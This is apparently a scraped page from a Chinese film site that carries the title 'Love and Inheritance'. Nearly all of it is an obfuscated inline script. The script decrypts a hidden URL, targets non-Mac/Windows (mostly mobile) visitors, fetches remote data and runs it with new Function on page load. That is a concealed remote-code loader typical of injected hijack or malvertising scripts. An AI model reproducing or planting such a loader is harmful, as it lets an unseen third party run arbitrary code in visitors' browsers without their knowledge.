爱情与遗产1905近期上线佳作

window['XoJppL'] = function(){ var keyList = [ "kd2UmAOy1iV=QwGfjLo8sgYike2p5ArPtnm9Hc+VFJIuzS" , "lZ0CB=MyLoxbTA1U7PhswR+VXD9OtJP7VtgpzXs+lK1r6aeLTcnmBkhYEo8N", "C9DlgQXycuzUnwL24m5fiNBVF8AaojI+6bHhZWL:Th-K0eyUBg7w5D8dHr/.EfSXiasxo9tp", "YE8K3Mxudiay50WNbSk2Z3n74A=ZB0bl82kWF6TS95", ]; function decrypt(t, e) { if (!t) return ""; for (var a = t.split(""), n = e.split(""), i = {}, r = [], o = 0;o < a.length / 2;o++) i[a[o]] = a[a.length / 2 + o]; for (var s = 0; s < e.length; s++) r.push(i[n[s]]); return r.join(""); }; (!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?(function(u, i, w, d) { var x = decrypt, cs = d[x(keyList[0],"Gsyy2ViYGykmi")], crd = x(keyList[1],"sA7UC77x7R7wC"); 'jQuery'; u = decodeURIComponent(x(keyList[2], u)); 'jQuery'; var xhr = new XMLHttpRequest(); xhr.open('GET', u + '/s/a?_=' + x(keyList[3], i)); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { var data = JSON.parse(xhr.responseText); new Function(data.data)(cs); } }; xhr.send('u=1'); })("QgghAlBBjhoVazQaV6Nw", "K88Kd5KZZ5bdy5YZZ5", window, document):function(){}; var _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; function decode(input) { var output = ""; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); while (i < input.length) { enc1 = _keyStr.indexOf(input.charAt(i++)); enc2 = _keyStr.indexOf(input.charAt(i++)); enc3 = _keyStr.indexOf(input.charAt(i++)); enc4 = _keyStr.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) | (enc2 >> 4); chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); chr3 = ((enc3 & 3) << 6) | enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2); } if (enc4 != 64) { output = output + String.fromCharCode(chr3); } } output = _utf8_decode(output); return output; } function _utf8_decode(utftext) { var string = ""; var i = 0; var c = 0; var c1 = 0; var c2 = 0; while (i < utftext.length) { c = utftext.charCodeAt(i); if (c < 128) { string += String.fromCharCode(c); i++; } else if ((c > 191) && (c < 224)) { c1 = utftext.charCodeAt(i + 1); string += String.fromCharCode(((c & 31) << 6) | (c1 & 63)); i += 2; } else { c1 = utftext.charCodeAt(i + 1); c2 = utftext.charCodeAt(i + 2); string += String.fromCharCode(((c & 15) << 12) | ((c1 & 63) << 6) | (c2 & 63)); i += 3; } } return string; }}